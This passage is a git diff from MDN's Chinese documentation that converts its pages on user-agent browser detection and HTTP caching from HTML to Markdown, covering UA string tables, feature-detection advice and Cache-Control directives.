    除了 Gecko 这个显著的例外,大部分的渲染引擎将版本号放置在渲染引擎/版本号标记中。 该引擎将 Gecko 版本号放置在用户代理的注释部分,在 rv 字符串之后。在手机版 Gecko14 以及桌面版 Gecko17 之后,该引擎也在 Gecko/version 标记处放置版本号的值(先前的版本中此处放置的是构建日期,然后固定的日期调用 GeckoTrail)。

    - -

    操作系统

    - -

    大多数的用户代理字符串也给出了用户使用的操作系统(尽管像 Firefox OS 这样的网络为中心的操作系统没有给出),但是给出的形式却多种多样。在用户代理的注释部分以夹在两个分号之间的固定字符串形式给出。对于每一个浏览器,这些字符串是特定的。这些字符串在显示操作系统的同时,也经常显示它的版本和其依赖的硬件信息(32 位还是 64 位,或者是 Mac 平台的 intel/PPC).

    - -

    正如所有情形一样,这些字符串在将来也可能会改变,我们应该仅仅与已经发布的浏览器一起使用它们。当新的浏览器版本发布的时候,一份修改脚本以适应新版本的技术调查必须出现。

    - -

    手机,平板或者台式电脑

    - -

    执行用户代理嗅探的一个最普遍的原因是查明浏览器是在何种硬件设备上运行的。而这么做的目的是对不同类型的设备提供不同的 HTML 页面。

    - -
      -
    • 从不要假设一款浏览器或者一种渲染引擎仅仅运行在一种类型的设备上。特别是不要对不同种类的浏览器或者渲染引擎采用不同的默认值。
    • -
    • 从不要使用 OS 标记来定义是否该浏览器运行在手机、平板或者桌面机上。同一种操作系统也许也运行在不止一种类型的设备上(例如,Android 既能在平板上运行也能在手机上运行)。
    • -
    - -

    下面这张表格总结了主要浏览器开发商声明他们的浏览器运行在手机设备上的方式:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    主流浏览器用户代理字符串
    浏览器规则示例
    Mozilla (Gecko, Firefox)注释中的 Mobile 或Tablet 标记Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0
    WebKit-based (Android, Safari)注释外的Mobile Safari 标记Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
    Blink-based (Chromium, Google Chrome, Opera 15+)注释外的Mobile Safari 标记Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047
    Presto-based (Opera 12-) -

    注释中的Opera Mobi/xyz 标记(Opera 12-)

    -
    -

    Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50

    -
    Internet Explorer注释中的IEMobile/xyz 标记Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
    - -

    总之,我们建议检测移动设备的时候,在用户代理字符串中寻找“Mobi”字符串。

    - -
    -

    如果设备屏幕足够大,它就不会被用“Mobi”标记,你应该提供给用户你的桌面版网页(由于越来越多的桌面设备开始配有触摸屏,作为一个最佳体验,不管怎样,应该在该网页中提供触碰输入)

    -
    +{{HTTPSidebar}}为不同浏览器提供不同的网页或服务通常是一个坏主意。互联网的本意是让任何人都可以访问,无论他们使用哪个浏览器或设备。有一些方法可以根据功能的可用性而不是针对特定的浏览器来开发您的网站以逐步增强自身。 + +但浏览器和标准并不完美,仍然需要检测浏览器的一些边缘情况。使用用户代理检测浏览器看起来很简单,但是做得很好,实际上是一个非常困难的问题。本文档将指导您尽可能正确地进行此操作。 + +> **备注:** 值得重申的是:使用用户代理嗅探很少会成为一个好主意。你几乎总能发现一个更好的、更广泛兼容的方式来解决你的问题。 + +## 在使用浏览器检测之前需要考虑的一些事情 + +当你考虑使用用户代理字段来检测用户正在使用哪种浏览器的时候,第一步是试着回避它。从想明白你**为什么**要这样做开始。 + +- 你正尝试解决某个浏览器的某个版本中的一个特定错误吗? + - : 在专业论坛中查找、询问:你不太可能是第一个遇到这个问题的人。 你也可以询问专家,或者仅仅是那些和你持有不同观点的人们,他们能提供给你不同的思路。如果这个问题看上去是不常见的,你需要检查一下是否这个错误已经通过错误跟踪系统 ([Mozilla](https://bugzilla.mozilla.org); [WebKit](http://bugs.webkit.org); [Opera](https://bugs.opera.com/)) 报告给浏览器厂商。浏览器开发商非常关注错误报告,相关的分析也可能会有其他解决方案的提示。 +- 你正尝试检查某个特性是否可用吗? + - : 你的站点需要使用一个特定的网页特性,然而有一些浏览器还不支持该特性,你想发给那些使用不支持该特性的浏览器的用户一个更老的网页,该网页有更少的特性,但是你知道他们将正常显示。这是最糟糕的使用用户代理检测的理由,因为有很大的概率最终其余的所有浏览器都将使用这个特性。你应该尽你最大努力在这种可能情况下阻止使用用户代理嗅探器,作为替代,使用功能检测器。 +- 你想依据正在使用的是哪个浏览器来提供不同的 HTML 页面吗? + - : 这通常是一个坏的做法,不过有些情况下这又是必要的。在这些情形下,你首先应该分析你所处的情形并确定这确实是必要的。你是否可以通过添加一些无语义的 {{ HTMLElement("div") }} 或者 {{ HTMLElement("span") }} 元素来避免呢?想成功使用用户代理检测是困难的,值得牺牲一些 HTML 的整洁性来换取。另外,也请重新思考一下你的设计:能否通过使用渐进增强或者流体布局来去除使用用户代理检测的需要呢? + +## 避免进行用户代理检测 + +如果你想要尝试避免使用用户代理检测,在某些情形下有些可供选择的方法。 + +- 功能检测 + - : 使用功能检测,你不需要弄清楚是哪种浏览器正在渲染你的页面,你只需要检测你需要的某个特定功能是否可用即可。如果该功能不可用,使用一个应变策略。然而,在某些罕见的情形下,你确实需要检测浏览器种类,由于其他浏览器也会在将来以不同方式实现这个功能,绝不要使用功能检测来判断。由此造成的错误将非常难发现和修复。 +- 渐进增强 + - : 这种设计技术涉及了按照“层次”开发网页,使用自底向上的方法,从一个简单的层次开始,在一系列连续的层次中通过使用更多的功能来逐步提升站点的能力。 +- 优雅降级 + - : 这是一种自顶向下的方式,在搭建可能最好的的站点时使用所有你想要的功能,然后稍微改进使其能在更老版本的浏览器上工作。与渐进增强的方法相比,这种方法可能更困难、效率更低,不过在一些情景下也许是有效的。 + +## 用户代理中的哪个部分包含你正在寻找的信息 + +由于用户代理字串的不同部分缺乏统一性,这是一个较难对付的问题。 + +### 浏览器名 + +当人们说他们想要进行“浏览器检测”的时候,他们实际上经常想要进行的是“渲染引擎检测”。你实际上想要检测使用的是火狐(Firefox)还是与之对应的海猴(SeaMonkey),或者使用的是 Chrome 还是与之对应的 Chromium?或者你实际上只不过想看浏览器是否正在使用 Gecko 还是 WebKit 渲染引擎?如果这正是你需要的,请参阅后面的部分。 + +除了 IE 浏览器这个显著的例外,大部分的浏览器以浏览器名/版本号的格式设置浏览器名和版本。但是由于浏览器名不是用户代理字符串中唯一一个以这种格式命名的信息,你不能发现浏览器名,你只能检测是否这是你正在寻找的名字。但是要注意到,一些浏览器在说谎:例如 Chrome 的用户代理字符串中既会包含 Chrome 又会包含 Safari。所以为了检测 Safari 浏览器,你不得不检测其中是否有 Safari 字符串同时没有 Chrome 字符串,Chromium 也经常汇报它自己是 Chrome 浏览器,海猴有时也汇报它自己是火狐浏览器。 + +也要注意不要对浏览器名使用简单的正则表达式,用户代理字符串中也包含不属于键值对形式的字符串。例如在 Safari 和 Chrome 中包含有“like Gecko”一样的字符串。 + +| | 必须包含 | 禁止包含 | | +| ----------------- | -------------------------- | -------------------------- | ---------------------------------------------------------------------------------------------- | +| Firefox | Firefox/xyz | Seamonkey/xyz | | +| Seamonkey | Seamonkey/xyz | | | +| Chrome | Chrome/xyz | Chromium/xyz | | +| Chromium | Chromium/xyz | | | +| Safari | Safari/xyz | Chrome/xyz or Chromium/xyz | Safari 有两个版本号,一个技术性较强,格式是 Safari/xyz,一个对用户友好一点,格式是 Version/xyz | +| Opera | OPR/xyz \[1]Opera/xyz \[2] | | \[1] Opera 15+ (基于 Blink 的引擎)\[2] Opera 12- (基于 Presto 的引擎) | +| Internet Explorer | ; MSIE xyz; | | IE 浏览器的名字并没有使用*BrowserName/VersionNumber*的格式 | + +当然,这里并没有保证其它浏览器不劫持上述字符串(像在过去,Chrome 劫持了 Safari 的字符串)。这就是为什么使用用户代理字段进行浏览器检测是不可信的,并且做这个检测也仅仅应该是为了检测版本号(劫持过去的版本号这种事情很少发生)。 + +### 浏览器版本 + +浏览器版本号通常但并不总是出现在用户代理字符串的*浏览器名/版本号*记号的值的位置。IE 浏览器(该浏览器放置版本号刚好在 MSIE 记号之后)以及在版本 10 之后的 Opera(新增了版本/版本号标记)就是例子。 + +此处再一次强调,由于并没有保证其它标记会包含有效的数字,请确保选取你正在寻找的浏览器的正确的标记。 + +### 渲染引擎 + +正如早先提及到的,在大多数情况下,寻找渲染引擎是一个更好的方式。这将有助于保留鲜为人知的浏览器。使用共同的渲染引擎的浏览器将以相同的方式显示页面:这经常是一个公平的假设:一处有效,处处有效。 + +现在市面上有 5 个主流的渲染引擎:Trident,Gecko,Presto,Blink 和 WebKit。由于嗅探渲染引擎名是很普遍的,大量的用户代理在其字段中增加其它的渲染引擎名来触发检测。因此当检测渲染引擎的时候,一件很重要的事情,就是要避免“假阳性”(注:false-positives,指一个特性可通过检测,但实际在该浏览器下并不可靠或不可用)情况的发生。 + +| | 必须包含 | | +| ------- | --------------- | ------------------------------------------------------------------------------------------------------- | +| Gecko | Gecko/xyz | | +| WebKit | AppleWebKit/xyz | 请注意,WebKit 浏览器包含了'like Gecko'字符串,如果不加以注意,可能会触发检测 Gecko 的 false positive。 | +| Presto | Opera/xyz | **注:** 在 Opera 浏览器在 15 及以上的版本中,已经不再使用 Presto(参见'Blink')。 | +| Trident | Trident/xyz | IE 浏览器将此字符串放在 User Agent 字符串的*注释*部分。 | +| Blink | Chrome/xyz | | + +## 渲染引擎版本 + +除了 Gecko 这个显著的例外,大部分的渲染引擎将版本号放置在渲染引擎/版本号标记中。 该引擎将 Gecko 版本号放置在用户代理的注释部分,在 rv 字符串之后。在手机版 Gecko14 以及桌面版 Gecko17 之后,该引擎也在 Gecko/version 标记处放置版本号的值(先前的版本中此处放置的是构建日期,然后固定的日期调用 GeckoTrail)。 + +## 操作系统 + +大多数的用户代理字符串也给出了用户使用的操作系统(尽管像 Firefox OS 这样的网络为中心的操作系统没有给出),但是给出的形式却多种多样。在用户代理的注释部分以夹在两个分号之间的固定字符串形式给出。对于每一个浏览器,这些字符串是特定的。这些字符串在显示操作系统的同时,也经常显示它的版本和其依赖的硬件信息(32 位还是 64 位,或者是 Mac 平台的 intel/PPC). + +正如所有情形一样,这些字符串在将来也可能会改变,我们应该仅仅与已经发布的浏览器一起使用它们。当新的浏览器版本发布的时候,一份修改脚本以适应新版本的技术调查必须出现。 + +### 手机,平板或者台式电脑 + +执行用户代理嗅探的一个最普遍的原因是查明浏览器是在何种硬件设备上运行的。而这么做的目的是对不同类型的设备提供不同的 HTML 页面。 + +- 从不要假设一款浏览器或者一种渲染引擎仅仅运行在一种类型的设备上。特别是不要对不同种类的浏览器或者渲染引擎采用不同的默认值。 +- 从不要使用 OS 标记来定义是否该浏览器运行在手机、平板或者桌面机上。同一种操作系统也许也运行在不止一种类型的设备上(例如,Android 既能在平板上运行也能在手机上运行)。 + +下面这张表格总结了主要浏览器开发商声明他们的浏览器运行在手机设备上的方式: + +| 浏览器 | 规则 | 示例 | +| ------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Mozilla (Gecko, Firefox) | 注释中的 [**Mobile 或 Tablet 标记**](/zh-CN/docs/Gecko_user_agent_string_reference) | Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0 | +| WebKit-based (Android, Safari) | 注释外的[**Mobile Safari 标记**](https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3) | Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 | +| Blink-based (Chromium, Google Chrome, Opera 15+) | 注释外的[**Mobile Safari 标记**](https://developers.google.com/chrome/mobile/docs/user-agent) | Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047 | +| Presto-based (Opera 12-) | 注释中的[**Opera Mobi/xyz 标记**](http://my.opera.com/community/openweb/idopera/)(Opera 12-) | Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50 | +| Internet Explorer | 注释中的**IEMobile/xyz 标记** | Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0) | + +总之,我们建议检测移动设备的时候,在用户代理字符串中寻找“Mobi”字符串。 + +> **备注:** 如果设备屏幕足够大,它就不会被用“Mobi”标记,你应该提供给用户你的桌面版网页(由于越来越多的桌面设备开始配有触摸屏,作为一个最佳体验,不管怎样,应该在该网页中提供触碰输入) diff --git a/files/zh-cn/web/http/caching/index.md b/files/zh-cn/web/http/caching/index.md index bf780c1cda9237..c14e9857c58c0b 100644 --- a/files/zh-cn/web/http/caching/index.md +++ b/files/zh-cn/web/http/caching/index.md @@ -15,146 +15,156 @@ tags: translation_of: Web/HTTP/Caching original_slug: Web/HTTP/Caching_FAQ --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    通过复用以前获取的资源,可以显著提高网站和应用程序的性能。Web 缓存减少了等待时间和网络流量,因此减少了显示资源表示形式所需的时间。通过使用 HTTP 缓存,变得更加响应性。

    +通过复用以前获取的资源,可以显著提高网站和应用程序的性能。Web 缓存减少了等待时间和网络流量,因此减少了显示资源表示形式所需的时间。通过使用 HTTP 缓存,变得更加响应性。 -

    不同种类的缓存

    +## 不同种类的缓存 -

    缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 Web 缓存发现请求的资源已经被存储,它会拦截请求,返回该资源的拷贝,而不会去源服务器重新下载。这样带来的好处有:缓解服务器端压力,提升性能 (获取资源的耗时更短了)。对于网站来说,缓存是达到高性能的重要组成部分。缓存需要合理配置,因为并不是所有资源都是永久不变的:重要的是对一个资源的缓存应截止到其下一次发生改变(即不能缓存过期的资源)。

    +缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 Web 缓存发现请求的资源已经被存储,它会拦截请求,返回该资源的拷贝,而不会去源服务器重新下载。这样带来的好处有:缓解服务器端压力,提升性能 (获取资源的耗时更短了)。对于网站来说,缓存是达到高性能的重要组成部分。缓存需要合理配置,因为并不是所有资源都是永久不变的:重要的是对一个资源的缓存应截止到其下一次发生改变(即不能缓存过期的资源)。 -

    缓存的种类有很多,其大致可归为两类:私有与共享缓存。共享缓存存储的响应能够被多个用户使用。私有缓存只能用于单独用户。本文将主要介绍浏览器与代理缓存,除此之外还有网关缓存、CDN、反向代理缓存和负载均衡器等部署在服务器上的缓存方式,为站点和 Web 应用提供更好的稳定性、性能和扩展性。

    +缓存的种类有很多,其大致可归为两类:私有与共享缓存。共享缓存存储的响应能够被多个用户使用。私有缓存只能用于单独用户。本文将主要介绍浏览器与代理缓存,除此之外还有网关缓存、CDN、反向代理缓存和负载均衡器等部署在服务器上的缓存方式,为站点和 Web 应用提供更好的稳定性、性能和扩展性。 -

    What a cache provide, advantages/disadvantages of shared/private caches.

    +![What a cache provide, advantages/disadvantages of shared/private caches.](/en-US/docs/Web/HTTP/Caching/http_cache_type.png) -

    (私有) 浏览器缓存

    +### (私有) 浏览器缓存 -

    私有缓存只能用于单独用户。你可能已经见过浏览器设置中的“缓存”选项。浏览器缓存拥有用户通过 HTTP 下载的所有文档。这些缓存为浏览过的文档提供向后/向前导航,保存网页,查看源码等功能,可以避免再次向服务器发起多余的请求。它同样可以提供缓存内容的离线浏览。

    +私有缓存只能用于单独用户。你可能已经见过浏览器设置中的“缓存”选项。浏览器缓存拥有用户通过 [HTTP](/zh-CN/docs/Web/HTTP) 下载的所有文档。这些缓存为浏览过的文档提供向后/向前导航,保存网页,查看源码等功能,可以避免再次向服务器发起多余的请求。它同样可以提供缓存内容的离线浏览。 -

    (共享) 代理缓存

    +### (共享) 代理缓存 -

    共享缓存可以被多个用户使用。例如,ISP 或你所在的公司可能会架设一个 Web 代理来作为本地网络基础的一部分提供给用户。这样热门的资源就会被重复使用,减少网络拥堵与延迟。

    +共享缓存可以被多个用户使用。例如,ISP 或你所在的公司可能会架设一个 Web 代理来作为本地网络基础的一部分提供给用户。这样热门的资源就会被重复使用,减少网络拥堵与延迟。 -

    缓存操作的目标

    +## 缓存操作的目标 -

    虽然 HTTP 缓存不是必须的,但重用缓存的资源通常是必要的。然而常见的 HTTP 缓存只能存储 {{HTTPMethod("GET")}} 响应,对于其他类型的响应则无能为力。缓存的关键主要包括 Request Method 和目标 URI(一般只有 GET 请求才会被缓存)。普遍的缓存案例:

    +虽然 HTTP 缓存不是必须的,但重用缓存的资源通常是必要的。然而常见的 HTTP 缓存只能存储 {{HTTPMethod("GET")}} 响应,对于其他类型的响应则无能为力。缓存的关键主要包括 Request Method 和目标 URI(一般只有 GET 请求才会被缓存)。普遍的缓存案例: -
      -
    • 一个检索请求的成功响应:对于 {{HTTPMethod("GET")}} 请求,响应状态码为:{{HTTPStatus(200)}},则表示为成功。一个包含例如 HTML 文档,图片,或者文件的响应。
    • -
    • 永久重定向:响应状态码 {{HTTPStatus(301)}}。
    • -
    • 错误响应:响应状态码 {{HTTPStatus(404)}} 的一个页面。
    • -
    • 不完全的响应:响应状态码 {{HTTPStatus(206)}},只返回局部的信息。
    • -
    • 除了 {{HTTPMethod("GET")}} 请求外,如果匹配到作为一个已被定义的 cache 键名的响应。
    • -
    +- 一个检索请求的成功响应:对于 {{HTTPMethod("GET")}} 请求,响应状态码为:{{HTTPStatus(200)}},则表示为成功。一个包含例如 HTML 文档,图片,或者文件的响应。 +- 永久重定向:响应状态码 {{HTTPStatus(301)}}。 +- 错误响应:响应状态码 {{HTTPStatus(404)}} 的一个页面。 +- 不完全的响应:响应状态码 {{HTTPStatus(206)}},只返回局部的信息。 +- 除了 {{HTTPMethod("GET")}} 请求外,如果匹配到作为一个已被定义的 cache 键名的响应。 -

    针对一些特定的请求,也可以通过关键字区分多个存储的不同响应以组成缓存的内容。具体参考下文关于 {{HTTPHeader("Vary")}} 的信息。

    +针对一些特定的请求,也可以通过关键字区分多个存储的不同响应以组成缓存的内容。具体参考[下文](<#varying responses>)关于 {{HTTPHeader("Vary")}} 的信息。 -

    缓存控制

    +## 缓存控制 -

    Cache-control

    +### `Cache-control` 头 -

    HTTP/1.1定义的 {{HTTPHeader("Cache-Control")}} 头用来区分对缓存机制的支持情况,请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。

    +**HTTP/1.1**定义的 {{HTTPHeader("Cache-Control")}} 头用来区分对缓存机制的支持情况,请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。 -

    没有缓存

    +#### 没有缓存 -

    缓存中不得存储任何关于客户端请求和服务端响应的内容。每次由客户端发起的请求都会下载完整的响应内容。

    +缓存中不得存储任何关于客户端请求和服务端响应的内容。每次由客户端发起的请求都会下载完整的响应内容。 -
    Cache-Control: no-store
    +```http +Cache-Control: no-store +``` -

    缓存但重新验证

    +#### 缓存但重新验证 -

    如下头部定义,此方式下,每次有请求发出时,缓存会将此请求发到服务器(译者注:该请求应该会带有与本地缓存相关的验证字段),服务器端会验证请求中所描述的缓存是否过期,若未过期(注:实际就是返回 304),则缓存才使用本地缓存副本。

    +如下头部定义,此方式下,每次有请求发出时,缓存会将此请求发到服务器(译者注:该请求应该会带有与本地缓存相关的验证字段),服务器端会验证请求中所描述的缓存是否过期,若未过期(注:实际就是返回 304),则缓存才使用本地缓存副本。 -
    Cache-Control: no-cache
    +```http +Cache-Control: no-cache +``` -

    私有和公共缓存

    +#### 私有和公共缓存 -

    "public" 指令表示该响应可以被任何中间人(译者注:比如中间代理、CDN 等)缓存。若指定了 "public",则一些通常不被中间人缓存的页面(译者注:因为默认是 private)(比如 带有 HTTP 验证信息(帐号密码)的页面 或 某些特定状态码的页面),将会被其缓存。

    +"public" 指令表示该响应可以被任何中间人(译者注:比如中间代理、CDN 等)缓存。若指定了 "public",则一些通常不被中间人缓存的页面(译者注:因为默认是 private)(比如 带有 HTTP 验证信息(帐号密码)的页面 或 某些特定状态码的页面),将会被其缓存。 -

    而 "private" 则表示该响应是专用于某单个用户的,中间人不能缓存此响应,该响应只能应用于浏览器私有缓存中。

    +而 "private" 则表示该响应是专用于某单个用户的,中间人不能缓存此响应,该响应只能应用于浏览器私有缓存中。 -
    Cache-Control: private
    -Cache-Control: public
    +```http +Cache-Control: private +Cache-Control: public +``` -

    过期

    +#### 过期 -

    过期机制中,最重要的指令是 "max-age=<seconds>",表示资源能够被缓存(保持新鲜)的最大时间。相对 Expires 而言,max-age 是距离请求发起的时间的秒数。针对应用中那些不会改变的文件,通常可以手动设置一定的时长以保证缓存有效,例如图片、css、js 等静态资源。

    +过期机制中,最重要的指令是 "`max-age=`",表示资源能够被缓存(保持新鲜)的最大时间。相对 [Expires](/zh-CN/docs/Web/HTTP/Headers/Expires) 而言,`max-age` 是距离请求发起的时间的秒数。针对应用中那些不会改变的文件,通常可以手动设置一定的时长以保证缓存有效,例如图片、css、js 等静态资源。 -

    详情看下文关于缓存有效性的内容。

    +详情看下文关于[缓存有效性](/zh-CN/docs/Web/HTTP/Caching_FAQ#Freshness)的内容。 -
    Cache-Control: max-age=31536000
    +```http +Cache-Control: max-age=31536000 +``` -

    验证方式

    +#### 验证方式 -

    当使用了 "must-revalidate" 指令,那就意味着缓存在考虑使用一个陈旧的资源时,必须先验证它的状态,已过期的缓存将不被使用。详情看下文关于缓存校验的内容。

    +当使用了 "`must-revalidate`" 指令,那就意味着缓存在考虑使用一个陈旧的资源时,必须先验证它的状态,已过期的缓存将不被使用。详情看下文关于[缓存校验](/zh-CN/docs/Web/HTTP/Caching_FAQ#Cache_validation)的内容。 -
    Cache-Control: must-revalidate
    +```http +Cache-Control: must-revalidate +``` -

    Pragma

    +### `Pragma` 头 -

    {{HTTPHeader("Pragma")}} 是 HTTP/1.0 标准中定义的一个 header 属性,请求中包含 Pragma 的效果跟在头信息中定义 Cache-Control: no-cache 相同,但是 HTTP 的响应头没有明确定义这个属性,所以它不能拿来完全替代 HTTP/1.1 中定义的 Cache-control 头。通常定义 Pragma 以向后兼容基于 HTTP/1.0 的客户端。

    +{{HTTPHeader("Pragma")}} 是 **HTTP/1.0** 标准中定义的一个 header 属性,请求中包含 Pragma 的效果跟在头信息中定义 Cache-Control: no-cache 相同,但是 HTTP 的响应头没有明确定义这个属性,所以它不能拿来完全替代 HTTP/1.1 中定义的 Cache-control 头。通常定义 Pragma 以向后兼容基于 HTTP/1.0 的客户端。 -

    新鲜度

    +## 新鲜度 -

    理论上来讲,当一个资源被缓存存储后,该资源应该可以被永久存储在缓存中。由于缓存只有有限的空间用于存储资源副本,所以缓存会定期地将一些副本删除,这个过程叫做缓存驱逐。另一方面,当服务器上面的资源进行了更新,那么缓存中的对应资源也应该被更新,由于 HTTP 是 C/S 模式的协议,服务器更新一个资源时,不可能直接通知客户端更新缓存,所以双方必须为该资源约定一个过期时间,在该过期时间之前,该资源(缓存副本)就是新鲜的,当过了过期时间后,该资源(缓存副本)则变为陈旧的驱逐算法用于将陈旧的资源(缓存副本)替换为新鲜的,注意,一个陈旧的资源(缓存副本)是不会直接被清除或忽略的,当客户端发起一个请求时,缓存检索到已有一个对应的陈旧资源(缓存副本),则缓存会先将此请求附加一个 If-None-Match 头,然后发给目标服务器,以此来检查该资源副本是否是依然还是算新鲜的,若服务器返回了 304 (Not Modified)(该响应不会有带有实体信息),则表示此资源副本是新鲜的,这样一来,可以节省一些带宽。若服务器通过 If-None-Match 或 If-Modified-Since 判断后发现已过期,那么会带有该资源的实体内容返回。

    +理论上来讲,当一个资源被缓存存储后,该资源应该可以被永久存储在缓存中。由于缓存只有有限的空间用于存储资源副本,所以缓存会定期地将一些副本删除,这个过程叫做缓存驱逐。另一方面,当服务器上面的资源进行了更新,那么缓存中的对应资源也应该被更新,由于 HTTP 是 C/S 模式的协议,服务器更新一个资源时,不可能直接通知客户端更新缓存,所以双方必须为该资源约定一个过期时间,在该过期时间之前,该资源(缓存副本)就是新鲜的,当过了过期时间后,该资源(缓存副本)则变为陈旧的*。*驱逐算法用于将陈旧的资源(缓存副本)替换为新鲜的,注意,一个陈旧的资源(缓存副本)是不会直接被清除或忽略的,当客户端发起一个请求时,缓存检索到已有一个对应的陈旧资源(缓存副本),则缓存会先将此请求附加一个 [`If-None-Match`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/If-None-Match) 头,然后发给目标服务器,以此来检查该资源副本是否是依然还是算新鲜的,若服务器返回了 [`304`](/zh-CN/docs/Web/HTTP/Status/304) (Not Modified)(该响应不会有带有实体信息),则表示此资源副本是新鲜的,这样一来,可以节省一些带宽。若服务器通过 If-None-Match 或 If-Modified-Since 判断后发现已过期,那么会带有该资源的实体内容返回。 -

    下面是上述缓存处理过程的一个图示:

    +下面是上述缓存处理过程的一个图示: -

    Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

    +![Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.](https://mdn.mozillademos.org/files/13771/HTTPStaleness.png) -

    对于含有特定头信息的请求,会去计算缓存寿命。比如 Cache-control: max-age=N 的头,相应的缓存的寿命就是 N。通常情况下,对于不含这个属性的请求则会去查看是否包含Expires属性,通过比较 Expires 的值和头里面Date属性的值来判断是否缓存还有效。如果 max-age 和 expires 属性都没有,找找头里的Last-Modified信息。如果有,缓存的寿命就等于头里面 Date 的值减去 Last-Modified 的值除以 10(注:根据 RFC2626 其实也就是乘以 10%)。

    +对于含有特定头信息的请求,会去计算缓存寿命。比如 `Cache-control: max-age=N` 的头,相应的缓存的寿命就是 `N`。通常情况下,对于不含这个属性的请求则会去查看是否包含[Expires](/zh-CN/docs/Web/HTTP/Headers/Expires)属性,通过比较 Expires 的值和头里面[Date](/zh-CN/docs/Web/HTTP/Headers/Date)属性的值来判断是否缓存还有效。如果 max-age 和 expires 属性都没有,找找头里的[Last-Modified](/zh-CN/docs/Web/HTTP/Headers/Last-Modified)信息。如果有,缓存的寿命就等于头里面 Date 的值减去 Last-Modified 的值除以 10(注:根据 RFC2626 其实也就是乘以 10%)。 -

    缓存失效时间计算公式如下:

    +缓存失效时间计算公式如下: -
    expirationTime = responseTime + freshnessLifetime - currentAge
    +```plain +expirationTime = responseTime + freshnessLifetime - currentAge +``` -

    上式中,responseTime 表示浏览器接收到此响应的那个时间点。

    +上式中,`responseTime` 表示浏览器接收到此响应的那个时间点。 -

    改进资源

    +### 改进资源 -

    我们使用缓存的资源越多,网站的响应能力和性能就会越好。为了优化缓存,过期时间设置得尽量长是一种很好的策略。对于定期或者频繁更新的资源,这么做是比较稳妥的,但是对于那些长期不更新的资源会有点问题。这些固定的资源在一定时间内受益于这种长期保持的缓存策略,但一旦要更新就会很困难。特指网页上引入的一些 js/css 文件,当它们变动时需要尽快更新线上资源。

    +我们使用缓存的资源越多,网站的响应能力和性能就会越好。为了优化缓存,过期时间设置得尽量长是一种很好的策略。对于定期或者频繁更新的资源,这么做是比较稳妥的,但是对于那些长期不更新的资源会有点问题。这些固定的资源在一定时间内受益于这种长期保持的缓存策略,但一旦要更新就会很困难。特指网页上引入的一些 js/css 文件,当它们变动时需要尽快更新线上资源。 -

    Web 开发者发明了一种被 Steve Souders 称之为 revving 的技术[1]。不频繁更新的文件会使用特定的命名方式:在 URL 后面(通常是文件名后面)会加上版本号。加上版本号后的资源就被视作一个完全新的独立的资源,同时拥有一年甚至更长的缓存过期时长。但是这么做也存在一个弊端,所有引用这个资源的地方都需要更新链接。Web 开发者们通常会采用自动化构建工具在实际工作中完成这些琐碎的工作。当低频更新的资源(JS / CSS)变动了,只用在高频变动的资源文件(HTML)里做入口的改动。

    +Web 开发者发明了一种被 Steve Souders 称之为 `revving` 的技术[\[1\]](https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)。不频繁更新的文件会使用特定的命名方式:在 URL 后面(通常是文件名后面)会加上版本号。加上版本号后的资源就被视作一个完全新的独立的资源,同时拥有一年甚至更长的缓存过期时长。但是这么做也存在一个弊端,所有引用这个资源的地方都需要更新链接。Web 开发者们通常会采用自动化构建工具在实际工作中完成这些琐碎的工作。当低频更新的资源(JS / CSS)变动了,只用在高频变动的资源文件(HTML)里做入口的改动。 -

    这种方法还有一个好处:同时更新两个缓存资源不会造成部分缓存先更新而引起新旧文件内容不一致。对于互相有依赖关系的 CSS 和 JS 文件,避免这种不一致性是非常重要的。

    +这种方法还有一个好处:同时更新两个缓存资源不会造成部分缓存先更新而引起新旧文件内容不一致。对于互相有依赖关系的 CSS 和 JS 文件,避免这种不一致性是非常重要的。 -

    +![](https://mdn.mozillademos.org/files/13779/HTTPRevved.png) -

    加在 JS 文件后面的版本号不一定是一个正式的版本号字符串,如 1.1.3 这样或者其他固定自增的版本数。它可以是任何防止缓存碰撞的标记例如 hash 或者时间戳。

    +加在 JS 文件后面的版本号不一定是一个正式的版本号字符串,如 1.1.3 这样或者其他固定自增的版本数。它可以是任何防止缓存碰撞的标记例如 hash 或者时间戳。 -

    缓存验证

    +## 缓存验证 -

